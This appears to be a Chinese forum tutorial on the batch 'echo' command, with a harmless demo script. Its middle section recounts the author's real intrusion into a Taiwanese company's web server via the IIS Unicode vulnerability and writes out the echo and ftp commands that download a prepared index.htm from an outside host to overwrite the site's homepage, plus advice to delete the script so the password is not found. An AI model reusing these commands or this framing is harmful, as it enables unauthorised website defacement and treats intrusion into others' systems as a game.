echo命令主要功能简单点说就是 开启或关闭批处理命令行显示在屏幕上 它是批文件的令 属于内部命令 内部命令就是常驻于内存的命令 在任意路径下输入均执行
echo命令的目的有两个:
1.避免不需要的命令显示来干扰屏幕
2.在屏幕上给用户显示提示信息 如:我们在dos下常见的提示 "请插入A盘"
用不带参数的echo命令 则显示当前的echo状态信息
在以前的版本是没有的 在dos 3.3后的版本又增加了一个显示空串效果的命令 : echo+ 可以利用该命令在显示中跳过一行,在建批处理命令中有实际上的意义 如:我们想独行显示 请插入A盘 则我们可以在 请插入A盘 前一句末尾添加echo+ 则可以在下一行显示该句了 大家把下面新建为txt后该为bat在dos下试试
@echo off
echo+
echo 牛族牛族!!!最牛的族!!!!!!!!!!!!!!
echo+
pause
echo draper!!! >a.txt
echo draper is winner!!!!!>> a.txt
a.txt
del a.txt
很简单 为了让你给好的理解
下面再给讲讲和unicode漏洞有关的echo命令 以前有人写了 我再解释一下
echo [message]>[file name] 这个命令是把指定的字符串送到指定的文件中
注意我的说明:
“>>”将把内容将填加到文件中,“>”将原文件内容覆盖
比如我前几天我利用unicode漏洞后顺利进入台湾的一家公司的主页后 这样进行:
echo open upload.51.com> c:\draper.txt
echo draper >> c:\draper.txt
echo draper >> c:\draper.txt
echo get index.htm c:\inetpub\wwwroot\index.htm+>>+c:\draper.txt
ftp -s:c:\draper.txt
del c:\draper.txt
bye
强调一下:del一句一定记得 不然别人很容易的看到你的密码. 还有index.htm是你预先设计好的 用bye最后退出FTP对话 呵呵黑主页就那么几招.进行上面的步骤有个前提 就是你已经拿到了admin的权限
好了,说到这里阿 不懂的慢慢理解!!!!!draper is winner!!!!!
ECHO命令的使用
1. 作为控制批处理命令在执行时是否显示命令行自身的开关
格式:ECHO [ON|OFF]
如果想关闭“ECHO OFF”命令行自身的显示,则需要在该命令行前加上“@”。
2. 显示当前ECHO设置状态
格式:ECHO